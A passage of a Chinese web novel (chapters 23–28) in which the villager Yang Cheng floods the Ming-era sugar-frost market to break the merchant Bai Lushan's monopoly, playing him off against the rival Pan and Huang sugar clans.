这小子就像老子的蛋,万一被白鹿山攥在手里,他想起来就会捏一下,直到捏爆!” 刘通很少说粗话,这次显然是气急了。刘通娘子再也不敢说话了。 刘子业被送走时还心存幻想:“娘,能不能让表妹陪我一起回去啊?” 刘通娘子小声道:“你的心思娘知道,不过现在你爹在气头上,断不会答应的。 你回去好好养伤,好好读书,哪怕你中个童生,娘就替你做主!” 第二十三章 好人白鹿山 当刘通接到召唤,赶到杨家湾时,被眼前的一幕惊呆了。 他虽然听说了杨成在盖新的作坊,但对“作坊”的概念还是限制了他的想象。 严格来说杨成盖的在当时应该叫“工坊”,也就是后世工厂的规模。 大盒里面垫着油纸,洁白的糖霜装满,一盒五斤,一共二十盒,就是一百斤糖霜。 刘通目瞪口呆:“这,这么多?契约里是不能少于五十斤……” 杨成点点头:“你只管把糖霜拉到京福斋,按我说的做,我会找人帮你的。” 刘通把自己雇来的那辆骡车打扫得干干净净,还用清水仔仔细细擦了一遍。 开车之前先洗澡,情绪价值要给足,一样的货感觉就更好,这是老司机的成熟经验。 干干净净的骡车,拉着干干净净的糖霜,一路招摇过市,从进城门的那一刻,就吸引了很多人的目光。 还有一个衣着富贵,身材如球儿的商人,坐着马车在后面一路追随,嘴里不停地喊着。 “刘掌柜,刘掌柜,你先停下,有事儿好商量,好商量啊!” 刘通在车辕上回头喊:“王东家,你就别难为我了,我是真没辙呀!” 城里永远不缺看热闹的闲人,何况王德福也是商道名人,如今却一副舔狗姿态,自然让人好奇。 很快就聚集了不少人在身后跟着看热闹,两辆车一前一后,冲到了京福斋的大门口。 今天是月底了,白鹿山早早就到了京福斋坐镇,连干女儿的回笼叫都没听。 他倒是没指望刘通真能送来五十斤糖霜,以为能有十几斤就不错了。 他当然也听说杨成盖了新作坊,但糖霜靠的是运气,并不是大力出奇迹的东西啊! 他倒也暂时没打算按违约为难刘通,只要杨成的糖霜都交出来了,他就暂时先当个好人。 文武之道,一张一弛,这么快就用契约收拾刘通和杨草,会让郭纲为难。 反正这两个蛋都握在他的手里,他随时可以捏爆,反而没必要着急。 而且他始终想着将杨成收为己用,这小子是个人才,有特长,够硬,用起来肯定舒服。 当二掌柜冲进来告诉他刘通送糖霜来了,他对二掌柜的惊诧十分看不起。 “看你那没见过世面的样子!格局太小,你这么没格局怎么当我的二当家?” 二掌柜指着门外:“刘通拉来了好多糖霜,好多好多!” 白鹿山皱皱眉头,穿过院子出了大门,一眼就看见了刘彤车上的大盒子,也是一愣。 其中一个盒子打开了,洁白的糖霜就像洁白的大腿一样,让人忍不住想上去摸一下。 白鹿山不但摸了,而且还舔了。当然是用小木勺舀起来的,美的眯起了眼睛。 质量没的说,和之前封样的一模一样。白鹿山连连点头,十分满意。 “杨成这小子还真能干!一共是多少?” 刘通拍拍盒子:“一共一百斤,白东家,咱们契约上说的是五十斤,你看咋弄?” 白鹿山瞥了一眼把马车停在远处,偷偷向这边张望的王德福。 虽然王德福极力把自己隐藏起来,但他那辆马车白鹿山却认识,错不了的。 白鹿山心中已经了然,暗自冷笑,脸上却一片春风和煦。 “刘掌柜的想怎么办呢?” 刘通咽了口口水,胆怯地开口道:“那什么,我是这么想的。 咱们的契约是独家供货,杨草有多少货,必须给我,我有多少货,必须给你。 所以我把糖霜都拉来了,不过契约里是说每月供五十斤,所以这个这个……” 白鹿山耐心地看着他:“所以什么?” 刘通期待地说:“所以白东家你看,是不是这样,你留下五十斤,剩下的让我自行处理。” 白鹿山哈哈大笑:“契约上是说最少五十斤,可没说最多是多少!今天的糖霜,我都要了!” 刘通失望之情溢于言表,他抱着最后一丝希望,耐心地举例。 “白东家,杨草说了,他以后还能做出更多来。你有用不了那么多糖霜,何必呢,留点给我……” 白鹿山的笑容中充满了戏谑:“不行,你有多少,我就要多少!我有多是钱! 而且我也不怕糖霜多,我自己的糕点用不了时,我就卖给别人,转手就赚钱啊。” 刘通都快哭了:“白东家,这一百斤都给你也行。以后做得多了,你能不能留点让我自己卖。” 白鹿山斩钉截铁,大声喝道:“今天我把话放在这儿,你有多少糖霜,都必须卖给我!” 刘通也急了,赌气咬牙道:“我送一千斤你也能要?我可要现钱!” 白鹿山心说弱者的愤怒真是可笑,他点头笑道:“就是一万斤我也要!都是现钱!” 刘通终于放弃了挣扎,失望至极地收下二掌柜递过来的四百五十两银钱,哭丧着脸看着伙计们把糖霜搬进了京福斋。 白鹿山的眼角余光,看见远处的肥球在捶胸顿足,就像被搬进京福斋的是他老婆女儿一样。 白鹿山哈哈大笑,心情无比的愉悦。他知道,王德福一定开出了高价跟刘通买糖霜。 刘通最终在契约的威力下,不得不先来和自己商量,自己岂能让他们如愿? 那杨成的胆色看来也不过如此,自己原本还防着他会另找一人做替身,把糖霜卖给王德福呢。 看来经过刘子业的假金案,杨成已经看明白了,这海盐城终究是自己的天下。 他应该是想投靠自己了,不过之前拉过硬弓,面子上下不去,才让刘通把糖霜都送来,也算是交投名状。 年轻人吗,开始时嚣张一点很正常。经过社会的毒打后,变乖了也很正常。 既然他如此知趣,白鹿山打算找个时间,把他叫来聊聊,最好是能认为干儿子。 有了这层关系,自己能更好地拿捏他,也可以更好地照顾他。 他不是要兼祧七家吗?这不但需要钱,还需要女人啊! 自己可以帮他赚钱啊,只要他帮自己赚得更多就行。给好狗的骨头上,肉肯定要多点。 至于女人……自己那么多干女儿是干什么的? 为了帮杨成,自己可以提高干女儿的淘汰效率啊,原本一年淘汰一个,换成半年一个。 而且自己不要聘礼!最多四年,他兼祧七家的任务就完成了! 车虽然是二手的,好开就行呗。反正他主要是为了生儿子。 我可真是个好人啊…… 第二十四章 潘家 白鹿山对着众人夸下海口时,并没有想到杨成真的能在一个月内做出超过一百斤的糖霜。 所以当短短半个月后,刘通就又拉来二百斤糖霜时,白鹿山彻底震惊了。 震惊归震惊,他并不觉得这是坏事儿。 这说明杨成和刘通彻底被自己拿捏了,他们生产的糖霜一点都不剩的都交到自己这里来了。 九百两现银,在这个年头,即使对白鹿山这样的海盐首富,也不是一笔小钱。 但白鹿山毫不犹豫地付钱收货,因为他知道,他不但能消化掉,而且能大赚一笔。 小小的海盐城当然消化不了这么多的糖霜,但他可是全国糖霜的总商。 之前那些大糖商能给他的货,也不过就是一个月几百斤,天下富贵人很多,狼多肉少。 如今杨成以一己之力,就能抵上那些糖商的供货,而且质量更好。 他四千五百文收进来,转手卖出去最少六千五百文。一斤就赚两千文。 他会怕货多?笑话!这些糖霜简直就是朝廷印宝钞的机器!他捏着糖霜,堪比皇帝! 白鹿山迅速把糖霜转发到自己在各地的京福斋铺子,让他们马上联系富豪权贵们。 以前总吊着你们,现在有货了,赶紧拿银子来买吧! 杨家湾的工坊里,日夜热气蒸腾,火光不断。工人又增加了几人,都是老族长严选。 到月底时,刘通又给白鹿山送去了三百斤糖霜,白鹿山照单全收。 糖霜市场的异动,自然瞒不过来自蔗糖产地的糖商们,他们看到杨成的货后,十分吃惊。 糖商一行,主要由两家宗族把持。一家姓潘,一家姓黄。 潘家代表潘亮率先找到杨家湾,希望能和杨成达成合作,能把糖霜卖给他们。 杨成请潘亮喝茶,潘亮品了一口,连连赞叹。 “好茶,好茶,醇香中带着一股说不出的味道,让人回味无穷。” 杨成心想后有猫屎咖啡,今有鸡屎香茶,不过家里的鸡盖工坊时已经都炖了,以后再想喝还不容易了呢。 “你们不是把糖霜总商授权给了白鹿山吗?找我买了糖霜,你们也只能卖给他啊?” 潘亮摇头道:“我们授权给白鹿山的,是大明糖霜总商。海外商路,可跟他没关系。 你的糖霜,比我们当地的糖霜还好,我们把我们的糖霜卖给白鹿山,买你的出海赚钱!” 杨成笑道:“你们倒是打的好算盘。难道就不怕白鹿山不买你们的糖霜?” 潘亮冷笑道:“他的糖霜总商是白拿的吗?有契约在,我们的糖霜,他买也得买,不买也得买!” 杨成挑了挑眉毛:“听白鹿山说,当初是他打服了你们,逼你们把糖霜总商给了他的。 当初他能打服你们,难道现在就不行了?他就是不买,你们又能怎么样呢?” 潘亮的脸涨得通红,显然这件事儿是他的逆鳞,结果不但被杨成触了,还来回揉搓了几把。 “我潘家难道是不敢拼命的软骨头?当初的事儿,白鹿山是够狠,但我们潘家也不怂! 要不是族长后来也想在朝中找个靠山,让出海更稳妥,最后输赢还未可知呢! 说到底,大明国内的糖霜生意并不算大,白鹿山这些年在糖霜上赚的银子也不算多。 他掌控糖霜市场,无非是想挤垮桂花斋这样的糕点商,独霸顶级糕点市场罢了! 所以我们也一个月只给他一两百斤的糖霜意思一下,大部分糖霜都出海了。 他就算知道我们从你这里买了糖霜,只要我们不在大明境内卖,他就管不着!” 杨成为难道:“你倒是不怕他,可他手里捏着契约呢。 我若把糖霜卖给你们,我兄弟杨草和刘通都得倒霉啊!” 潘亮嘿嘿一笑:“杨兄弟不必过谦,我既然敢来,自然是了解过的。 你分别用杨草和杨牛对外签约,可这工坊却是掌控在你手里的。 你分给他们多少,他们就有多少。杨草那边,你每个月给他五十斤就不违反契约。 你每月几百斤的糖霜,多出来的尽可通过杨牛卖给我们。” 杨成喝了口茶:“白鹿山有多少要多少,我又不愁卖,卖给你们对我有何好处?” 潘亮点点头:“不错,在商言商,咱们之间还不是朋友,自然要靠利益维系。 你现在糖霜产量大,所需的红糖量就更大。虽说红糖在市面上并不难买,但总归是费心费力的事儿。 若是你能与我合作,我潘家每月把你所需红糖直接送上门,省去你很多麻烦。 而且你在市面上购买红糖,是商家加了利的,我给你的红糖,却是产地直供的价格。” 这条件不可谓不诱人,但杨成还是抱歉地笑了笑。 “潘兄,可否容我考虑一段时间?” 潘亮叹口气:“杨兄弟,我知道你在等什么,但我可以告诉你,不用等了。 姓黄的一向谨小慎微,当初他们族中只死了三个人就求和停战了,他不会为了糖霜招惹白鹿山的。” 杨成点点头:“我信你,不过我还是想再考虑一段时间。应该不会太长。” 潘亮不解,自己给出的条件很有诚意,黄家别说不回来,就算来谈,也不可能有更好的条件了。 但生意讲究个你情我愿,潘亮也不可能像白鹿山那样靠黑白两道来逼着杨成合作。 潘亮将杯中茶水一饮而尽,起身拱手道:“那我就静候佳音。 刚才我说的红糖供应,可以立刻开始。即使杨兄弟不愿卖给我糖霜,也无妨。” 杨成看着潘亮:“我不卖给你糖霜,你也愿意低价供应红糖给我?” 潘亮笑道:“和糖霜不同,红糖是成熟商品,除非朝廷专营,否则谁也无法掌控渠道。 既然卡不住你,我还不如大方些。你是稳定的大客户,价格低些也合理。 就算没有其他条件,这桩生意我作为糖商也不亏啊。” 杨成的笑容真诚了许多,他起身拱手:“遇挫而不馁,遇强而不惧。 所求不成不动无名,善缘广布计之长远。潘家有老兄这样的人物,真是宗族之幸。 既如此,我有件事要跟老兄商量一下,看老兄意下如何。” 第二十五章 霜糖 潘亮上门找杨成时,黄家代表黄仁也找到了白鹿山。 “白总商,杨成的工坊出的糖霜,产量大,品质好,若是卖到海外,定然畅销。 黄家想向杨成采购一些,想先告诉白总商一声。” 白鹿山想都不想,直接摆手:“我和杨成有契约的,他的糖霜只能卖给我。 黄家想买,找我买就是了,我给你们一个好价格,比你们给我的价只高一点就好。” 黄仁忍着气:“白总商,据我所知,和你签契约的是杨草,不是杨成。” 白鹿山斜着眼睛:“那又如何?那小子不愿当商人,所以找人做替身,也是寻常事。 可他的杨家湾就在海盐,他飞不了也跑不了!他已经明白,不听我的,死路一条! 你看王德福又是帮他买红糖,又是天天往他家跑,可硬是一粒糖霜都没买到!” 黄仁不服气:“你怎么知道王德福没买到糖霜?没准杨成偷偷卖给他了,只是不声张!” 白鹿山嘲讽一笑:“我一直让人盯着桂花斋呢,他们顶级点心的质量,我心里有数儿。 除了刘通之前卖给他的糖霜做了一批,后面用的都是我故意卖给他的。 我有了杨成的糖霜,就把你们给我的糖霜卖了一些给桂花斋,反正我自己也不用了。 不是我说你们,守着蔗糖产地,鼓捣出来的糖霜还不如一个乡下小子的好,不丢人吗?” 黄仁咬牙道:“正因如此,我们才想买些杨成的糖霜,拿到海外售卖高价。 有钱大家赚,才是长久之道。咱们现在是同一个靠山,本就是一条船上的。 你自己赚钱也就罢了,还挡着我们赚钱,未免也太霸道了吧?” 白鹿山冷笑道:“你是第一天知道我霸道吗?当初说好了,大明境内的糖霜买卖,我说了算! 一条船上也分船头船尾,我替靠山做的事儿,可不仅仅是给钱那么简单。” 见黄仁愤愤不平,白鹿山忽然又亲切地笑了,还招呼干女儿出来敬酒。 “黄老弟,你们黄家比潘家懂事,知道先来找我商量此事,我很满意。 那杨成有些门道,糖霜产量看来还能扩大。等我够用了,剩下的自然归你们。 至于潘家,这条船上已经有点挤了,到时你我联手,把他挤下这条船。 海外商路利益巨大,若是只有你的糖能出海,你在黄家族谱上,就能单开一页了!” 黄仁眼睛一亮,糖商两大家族,一直是潘家压着黄家一头。 所以当初跟白鹿山血拼时,黄家先停战议和,导致潘家独木难支,只得妥协。 都上了靠山这条船后,潘家原本就有子弟在朝为官,靠山也更给潘家面子。 这就让黄家十分郁闷。都没投降时你压我一头,都投降之后你还是压我一头,这他妈不是白投降了吗? 所以在黄仁心中,对潘家的恨意要远超过对白鹿山的恨意,毕竟白鹿山不算正经同行,只能算客串。 一个说相声的,就算跟一个演小品的有矛盾,但心里最恨的肯定还是另一个说相声的。 此时听了白鹿山的话,黄仁露出了笑容,也同时接受了白鹿山的诚意和干女儿。 王德福再次找到杨成,急得直跳脚:“你给我试用的霜糖,我看你已经存了很多了,为啥还不让我用啊?” 霜糖,就是杨成给糖霜2.0起的正式名称,以区别之前做的糖霜。 杨成一边盯着亲戚兼工人干活儿,一边摇头:“还不到时候,等我说能用时,才可以用。” 王德福跺脚:“白鹿山如今得意得很啊,一边用你的糖霜做糕点,一边大肆售卖糖霜。 我这儿可倒好,不但不敢用霜糖,甚至连你的糖霜都不敢用,还得用他卖给我的老糖霜! 那糕点明显差一个档次啊,我不管,我不能这么一直被动挨打啊!” 杨成眯起眼睛看着王德福:“如果你有本事击败白鹿山,也不用等到今天了。 你既然跟我合作,我也答应帮你击败白鹿山,你就得听我的,否则你以后也不用找我了。” 王德福愣了半天,才颓然叹气:“我不是那个意思,我这不是着急吗?” 杨成拍拍他的胳膊:“老兄,凡事不能太急,得让箭矢飞一会儿,野兽才会倒下。 如果我没猜错,原本糖商们供的老糖霜,白鹿山应该已经卖不出去了吧。” 王德福点头:“没错,那些老糖霜他都降价出售了,连我都能买到,差不多跟白糖一个价儿了。” 杨成点点头:“这就对了。那些糖商现在还无所谓,反正本来也不愿意卖给他。 他不要或少要,糖商们刚好拿去出海卖。可若是糖商有更好的糖霜出海,老糖霜怎么处理呢?” 王德福脑子里的小齿轮咔咔转动,想要跟上杨成的思路,都快转冒烟了,还是不太明白。 但看着杨成一脸的淡定,他的心也莫名的跟着放了下来,就像工坊门口的小黑一样。 跟着杨成,不用考虑太多,他让干什么就干什么好了。 小黑汪汪一声,然后又呜咽一声,就像发大招时被打断了施法前摇一样。 听到这个动静,杨成就知道是谁来了,小黑是不会对别人这样给面子的。 李香儿一身淡黄色衣裙,就像春天刚抽出芽孢的柳条儿一样,嫩且水灵。 她好奇地看着工坊里的设备,以及几个干到兴起,热得脱了上衣光着膀子的工人。 “看不出来杨草那么瘦,胳膊上还挺有几块瘦肉的!” 几个工人在糖浆水雾的掩护下,也没太在乎李香儿的非礼审视,反正下田干活时也不是没光过。 杨牛还故意曲起胳膊摆了个造型:“香儿,看看我这胳膊咋样?” 李香儿撇了撇嘴:“不咋样,肥腻得很,比你爹差远了!” 论赤膊上阵,杨铁匠绝对是村里出镜率最高的,肌肉线条极好,打铁姿势美如画。 杨牛不满意:“啥叫肥腻啊,这叫白净!杨成也是说你白净啊,没说你肥腻吧!” 李香儿顿时想起了杨成趴在墙头上的赞美,气得满脸通红,拿着手里的书就去砸杨牛。 杨成赶紧伸手抓过书来:“是先生让你送书来的吧?别瞎扔,掉锅里就毁了。” 李香儿这才正眼看杨成,之前她的眼神始终躲着杨成,好像工坊里什么东西都比杨成值得看一样。 现在杨成说话了,她才歪头用眼角看着杨成。 “原本在村学时,也没见你爱看书啊,现在怎么知道心疼书了?” 第二十六章 转卖破局 杨成摇头:“我不是心疼书,我是心疼我那一锅糖,书掉进去糖就毁了。” 李香儿气鼓鼓地瞪大眼睛:“你有胆子在我爹面前说这话,他非把戒尺打断了不可。” 杨成看了看手里的四书五经,都翻毛边儿了,可见李正何其用功苦读。 “我先看着,我已经让刘通给我买一套了。还有历年优秀墨卷集,也给先生带了一套。” 李香儿撇撇嘴:“无事献殷勤。你明明不喜欢读书,装这样子给谁看啊。 我跟你说,没必要啊。你现在糖霜做得好好的,不是非得读书中举才算有出息的。” 说后面半句话时,李香儿的语气不由自主地变得轻柔,声音也小了,就像拂面吹过的春风一样。 杨成看着李香儿左顾右盼的眼神儿,笑道:“先生要听见你这话,非得把戒尺打断了不可。” 李香儿脸一红,啐了一口,转身就走,顺便踢了过来前摇的小黑一脚。 杨草杨牛和几个工人都停下手里的活,看向杨成,感觉空气中的水雾好像比往日更齁一些。 杨成若有所思:“加一条儿规矩啊,以后谁敢在工坊里吐口水,罚十文钱。” 白鹿山有一件事儿没说错,杨成的工坊产量确实在持续增加。 杨铁匠把铺子里所有的精铁都用完了,又赶着牛车去进了两次货,才能赶上杨成对设备的要求。 原本半个月送一次货,现在三天就送一次,一次就是几百斤。 饶是白鹿山对糖霜销量有信心,也被这汹涌的糖霜潮震惊了。 但他还不能不要,一方面是他已经当众夸下海口,刘通送多少,他就收多少,现银交易。 如果他背弃承诺,少收货或者不给现钱,那不但商誉尽毁,而且刘通还可以告他。 在海盐城里,白鹿山不在乎刘通做任何事儿,甚至可以不在乎什么商誉,他都能摆平。 但他要做的生意不仅仅在海盐城,而是整个大明。 对于某一个高度集中的渠道,他可以付出巨大的代价去掌控,可他没法掌控整个大明商道。 他不能拿刀逼着别人和他做生意,只要是商人,商誉都是很重要的东西。 你可以背地里用黑白两道破坏规矩,但你不能明目张胆地在所有人面前破坏规矩。 另一方面,即使白鹿山真能不在乎商誉,也愿意让靠山摆平刘通能上告的所有衙门,可还有更多损失。 其中一个损失是靠山可能对他的实力产生怀疑。摆平糖商这样的商业巨头,动用靠山无可厚非。 可只是一个乡下小子加一个刘通这样的商界小趴菜,都需要动用靠山,这成何体统? 靠山既不是碎催,又不是你亲爹,鸡毛蒜皮的事儿都得替你操心,要你何用? 一旦靠山觉得他实力下降,还总惹冒犯,可能就会放弃他。 靠山可以给任何人当靠山,而他却只能选择这一个靠山。 第二个损失就是,只要他公开宣称不再接收刘通的全部糖霜,那就意味着他主动放弃了五十斤之外的糖霜。 刘通和杨草就可以自行售卖糖霜,他不能干涉。 因为你说有多少要多少,人家如今做出来了,你又不要,还能不让人家卖给别人吗? 当初潘家也曾想用海量供货的方式撑死白鹿山,逼他放弃大明糖霜总商的身份,可惜没能成功。 因为当时糖霜的产量本就不高,当潘家把原本供往海外的糖霜都拿出来卖给白鹿山时,黄家却背刺了潘家。 黄家和白鹿山商量后,把所有糖霜都出海了,一点也没卖给白鹿山。 白鹿山直接吃下了潘家当年的所有糖霜,不但没能撑死,还让他大赚了一笔。 而潘家因为在海外市场断了高端货,让黄家抢走了不少客户儿,用了一年多才缓过劲儿来。 所以后面随着白鹿山越来越有钱,潘家就再也没敢用过饱和攻击这一招儿了。 可今时不同往日,杨成的糖霜就像潮水般涌来,而那些富豪权贵又不是拿糖霜当饭吃,消化库存是需要时间的。 所以现在白鹿山就面临着一个艰难的局面:要么放弃对杨成糖霜的垄断,要么拿出钱来继续包圆儿。 糖霜的存储倒不是问题,和红糖一样,糖霜这东西没有保质期,不会坏。 只是资金确实是个问题。白鹿山这几年虽然靠糕点和糖霜赚了很多钱,但他花钱也很厉害。 尤其是他还在靠山的指示下,投资绸缎和粮食生意,这些都还在投入阶段,没开始盈利呢。 想来想去,白鹿山还是决定咬牙吃下所有的货,因为他还有最后一招儿。 就算杨成的糖霜越来越多,大明市场暂时消化不完,他还可以转手卖给潘黄两家。 这可是高级糖霜,比潘黄两家手上的都好。自己最多不赚钱,按进价转卖给他们。 他们本来求着杨成买也是一样花钱,从自己这里买,拿到海外就能赚大钱,根本没道理拒绝。 想到此处,白鹿山拿出所有的钱,吃下了源源不断的糖霜。 然后又让人去找潘、黄两家人来谈专卖糖霜的事儿。 黄仁听说可以用进价获得糖霜,乐得无可无不可,连连吹彩虹屁。 “白总商大气,果然是一个靠山下,大树好乘凉啊,黄家感激不尽!” 潘亮的反应却很平淡:“白总商,你是我们的糖霜总商,契约上写得很清楚。 我们的糖霜都得通过你来售卖,同时你也得能吃下我们供给你的所有糖霜。 如今你连杨成的糖霜都吃不下了,我们的糖霜又怎么办呢?” 白鹿山冷笑道:“你以为我不知道你们原本糖霜的产量吗?别说海外不够,大明都不够用! 每年都是我用靠山压着你们,才肯给我那点糖霜,如今这点糖霜就够你们卖了? 你们把老糖霜便宜卖,也比卖给我的价钱高,有什么为难处? 别想着趁我钱不凑手,就来占便宜。想从我这儿拿货,就自己想办法处理老糖霜!” 黄仁连连点头:“好办好办,大不了当普通白糖处理掉,这新糖霜肯定赚大钱,不在乎那点!” 潘亮摇头:“潘家和你白鹿山不是朋友,在商言商。你现在钱不凑手,想让潘家帮你出钱,那就再降价!” 白鹿山大怒,阴冷笑道:“潘亮,想不到潘家竟让你这样一个蠢货当代表,活该你潘家没落!” 第二十七章 媒婆儿 潘亮也火儿了,这年头最忌讳的就是说一个人是导致宗族没落的败家子儿。 这种侮辱程度,和族谱单开一页的赞美程度相对应,堪称是对一个人评价的地板和天花板。 “潘家选我当商道代表,我就要维护宗族利益。至于我潘家没落还是兴盛,不用白总商操心!” 白鹿山一拍桌子:“既然如此,你就滚吧。等黄家用新糖霜抢光了你潘家的海外生意时,你就是回来跪下舔我,也休想拿到一粒糖霜!” 潘亮气得脸色煞白,拂袖而去。黄仁心头一阵狂喜,赶紧劝白鹿山消消气。 其实商人谈判,趁对方急等用钱压压价,并不过分,本不该闹得这么僵的。 奈何潘亮此人太记仇,总想着当初拼杀时死了几个族人的事儿,看白鹿山就来气。 也不想想后果,这么好的糖霜,如果海外市场上只有黄家有,潘家的客户还不得被抢光了? 黄仁心中暗爽:果然气性大的人不适合当商人啊。什么事儿能比赚钱更重要呢? 面子?良心?气节?那都是个啥?能值几斤糖霜的钱? “白总商放心,我代表黄家表态,白总商给多少,我们就买多少,多多益善啊!” 白鹿山余怒未消地点点头:“等你们把海外都占了之后,他上供的钱就没你多了。我一定想办法让靠山把潘家踢下船去!” 黄家果然行动起来了,拿出大笔的金银宝钞,交给白鹿山,买回白鹿山手中囤积的糖霜。 有了黄家做后盾,白鹿山的底气顿时又足了起来。 黄家虽然一直被潘家压一头,毕竟也是资深糖商大族,底蕴比白鹿山这个暴发户要深厚。 他们将白鹿山的糖霜买进来后,放了一点到海外市场,反响果然很好,各地客户都要求订购。 但黄家老谋深算,并没有一下放出去,而是搞起了饥饿营销。 既然潘家和白鹿山闹崩了,那么这种新糖霜在海外商路上就只有黄家有。 放得越少,价格就能卖得更高。何况现在手里的新糖霜也不算很多,达不到战略目的。 黄仁决定先囤上一段时间,等攒多了一次性投放海外,占领全部糖霜市场,直接冲垮潘家。 杨成似乎对外面发生的一切似乎都不在乎,他只是不停地扩大工坊,增加工人,提高产能。 杨家湾已经有几十号人进工坊做工了,待遇很优厚。 但想进工坊并不容易,老族长要严选一遍,杨成还要再选一遍。 老族长是政审,主要看对宗族的忠心程度,人品好坏,以及杨成发达前对这母子俩的态度。 虽然村里没有几个白眼狼,但优中选优,亲人都能分出远近来,何况族人村人。 杨成这关就看技术能力了。在工坊里做工,是需要手脚灵活,脑子够用的。 他把制造糖霜的工艺分成几段,每个工人负责一段,既能提高效率,又能减少泄密的可能性。 糖霜如潮水般涌出去,金银如潮水般涌回来,他的身家也越来越丰厚。 因为工坊建在村子后面,杨成白天都会在工坊里盯着,白寡妇这段时间过得很寂寞。 她开始怀念起这个院子原本的热闹和喧嚣,以及捡鸡蛋的快乐。 于是她买了几十只小鸡开始喂养,希望能恢复原本满院子是鸡的快乐。 结果很快她就不寂寞了,随着杨成工坊的名声越来越大,本村和其他村子的媒婆儿几乎踩平了门槛儿。 媒婆们个个妙嘴生花,把自己推荐的姑娘说得天上有地下无,尤其对容貌描述十分详尽,堪比刑部画通缉犯的画师。 白寡妇白天和着小鸡叽叽喳喳的叫声,听了一脑门子的柳叶弯眉樱桃口,明眸如水腰如柳。 等到了晚上就开始做梦,一帮人头鸡身的美女追着自己叫婆婆,其中两个的脸还挺熟悉。 被吓醒的白寡妇跑到工坊去找杨成,让他赶紧先填一房进来,让父祖心里有点底。 但杨成告诉母亲,这段时间是生死时刻,自己不能分心相亲,让她先应付着。 白寡妇被生死时刻吓住了。虽然她不明白,做个糖霜怎么还做出生死来了,但她无条件相信儿子。 秀儿随着刘通来过两次,把四书五经和墨卷选集递给杨成的时候,她的眼睛都在发光。 “杨大哥,你是要科举吗?想不到你生意做得这么好,还这么有上进心!” 杨成挡住龇牙咧嘴的小黑,让秀儿进工坊看看。 “没办法,大明始终是文人的天下。我虽然不想当官,可也要谋个身份,免得被人欺负。” 热气腾腾的水气中散发着诱人的甜香味儿,让秀儿的眼睛显得更水润勾魂。 “真好。对了,杨大哥,你让我舅舅屯了那么多加梁团扇,又让我慢慢绣着,到底做什么用?” 杨成拍了拍手中的书:“眼下还顾不上,你就没事儿时慢慢绣吧,等糖霜的事儿完了就有用了。” 秀儿拿手帕擦了擦额头的水汽,杨成看见秀儿的衣袖上破了个口子。 “衣服破了都不换啊。你舅舅赚了不少了,都买了马车了,还不舍得给你买新衣裳?” 刘通陪笑着搓着手,脸上的笑容有些尴尬。这段时间糖霜如潮,他作为中间商确实赚了大钱。 秀儿看了舅舅一眼,垂头不语,杨成皱皱眉,看向刘通。 “老刘,咋回事儿,咱们之间还有啥不能说的?是嫌赚得少?” 刘通赶紧摆手:“哪里哪里,我这辈子都没见过这么多钱啊。实在是羞于提起。 你让我买两套书,我其实买了三套,先回刘家村给犬子送了一套。 这混账在我大哥家养伤读书,见了秀儿,东拉西扯说个没完,还做什么诗。 我们着急出门,他竟然拉着秀儿的衣袖不松手,被我用马鞭抽了一顿,已经老实多了。” 杨成笑了笑,看向秀儿:“你额头上又有水汽了,不用再擦一下了吗?” 秀儿原本平静委屈的脸一下就红了,就像被人看透了什么小心思一样,垂着头,脚尖呲着地。 “你不是说今天过来拿书吗?书呢?快给我,这工坊里的水气太甜,都齁人!” 李香儿板着脸,没好气地站在门口,伸着手,眼睛却看着秀儿。 杨成走过去,把一套书和墨卷放在她手上。 “你上次不是说挺好闻的吗?” 李香儿哼了一声,拿书转身就走。想了想,走到旁边,蹲在小黑的身边。 “小黑,你记住屋里那个女的,对,就是我手指着的那个……” 第二十八章 开战 王德福再次登门儿,他愁得又胖了一圈儿。 “杨兄弟,到底还要等到什么时候啊?难道你是想撑死白鹿山才让我用糖霜? 这招儿没用啊,我听说白鹿山把一部分糖霜分给黄家了,他们加起来有足够的钱吃下你的货啊!” 杨成掐指算了算出去的糖霜,缓缓开口道:“是时候了,明天开始,正式开战!” 王德福一愣,惊喜地刚要开口,门外又停下一辆马车,潘亮走了进来。 “杨兄弟,马车我都准备好了,可以拉货了吗?” 第二天,几辆带着“潘”字的马车上,一千多斤糖霜装在大盒子里,停在京福斋的门口。 二掌柜出来,看了看潘亮,十分为难:“潘东家,这都是老糖霜啊,现在京福斋都不卖了。” 潘亮淡然道:“潘家和白鹿山有契约,他是大明糖霜总商,我的糖霜,他必须收。” 二掌柜赶紧派人去请白鹿山,白鹿山听完后,冷笑着一挥手。 “收下,给他钱!” 二掌柜苦着脸道:“这么多老糖霜,咱们现在各地店铺都卖新的了,老的怕是不好卖了啊。” 白鹿山冷笑道:“想来黄家在海外卖了新糖霜,潘家的老糖霜不好卖了。 所以他才大张旗鼓地公开送到门口,逼着我收。没关系,我收下就是了。 杨成已经通过刘通主动示好,说他可以帮我把老糖霜重新提炼成新糖霜,工钱好商量。” 二掌柜大喜:“有这种好事?那杨成开始还不愿意卖货给咱们,为何如今这么主动?” 白鹿山笑道:“刘通被我整了一次,杨成就明白我的实力了。 而且他现在的工坊越来越大,已经有些树大招风了,最近京城都有跟我打听糖霜来路的。 哼哼,若不是这几年皇帝杀官员权贵杀得多,让大家投鼠忌器,他的工坊早就被人抢走了。 他虽然身份特殊,但糖霜利润大,若真有权贵眼红下手,他也未必能保得住。” 二掌柜明白了:“他是想求东家庇护?可东家凭什么庇护他呢?” 白鹿山得意一笑:“凭他现在听我的话,是我的大财路!若工坊被抢,那财路可就不一定是我的了。” 潘家已经是垂死挣扎了,他送多少来,你就收多少!很快潘家就要完了。” 二掌柜狐疑道:“不至于吧,潘家家大业大,再说糖霜生意毕竟是奢侈之物。 糖商真正安身立命的,还是红糖,这东西利润虽低些,但量大,谁也垄断不了。” 白鹿山摆摆手:“格局小了!整个大明最大的糖商就是潘家和黄家。 等黄家垄断了海外的糖霜市场,我们会联手对红糖降价,不挣钱地卖! 你想想,到那时,一样的红糖,百姓和商家是买黄家的,还是买潘家的呢?” 二掌柜恍然大悟:“当然是买黄家的。潘家要想卖,就只能也降价,不挣钱地卖!” 白鹿山狂笑道:“不错,大家的红糖都不挣钱了,可黄家和我分别垄断了海外和大明的糖霜市场。 潘家是坐吃山空,我们是源头活水。潘家就算家大业大,又能坚持多久? 他们要想保命,就只能退出糖商行业,去干点别的。 到那时,整个大明的糖商只剩黄家和我,就算我们只恢复薄利,也一样赚得更多。” 二掌柜连连点头,拿着银钱回京福斋,接收了潘家送来的全部糖霜。 而此时,桂花斋的糕点工坊中,正在关门秘密赶工。 王德福带着几代人交情的老师傅们,用极品霜糖制作最顶级的糕点。 他们的眼睛在放光,手却依旧稳如泰山,就像在雕刻最珍贵的艺术品。 